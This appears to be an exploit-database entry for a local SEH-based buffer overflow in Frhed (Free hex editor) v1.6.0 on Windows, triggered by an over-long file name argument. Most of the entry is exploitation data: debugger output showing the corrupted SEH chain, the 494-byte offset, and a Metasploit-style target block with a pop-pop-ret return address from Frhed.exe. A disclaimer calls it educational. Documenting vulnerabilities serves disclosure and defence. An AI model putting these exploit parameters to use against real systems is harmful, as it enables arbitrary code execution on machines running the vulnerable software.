Exploits / Vulnerability Discovered : 2023-03-27 |
Type : local |
Platform : windows
This exploit / vulnerability Frhed (free hex editor) v1.6.0 buffer overflow is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Software Link : http://frhed.sourceforge.net/
# Tested Version: 1.6.0
# Tested on: Windows 10
Buffer overflow controlling the Structured Exception Handler (SEH) records
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
attackers to execute arbitrary code via a long file name argument.
Proof of concept:
Open Frhed.exe from command line with a large string in Arguments, more
than 494 chars:
SEH chain of main thread
Address SE handler
0018FC8C 41367141
35714134 *** CORRUPT ENTRY ***
0BADF00D [+] Examining SEH chain
0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
data after the handler
0BADF00D ------------------------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x00401ba7, #
pop ecx # pop ecx # ret - Frhed.exe (change this value by other without
\x00)
'Offset' => 494
}
],
],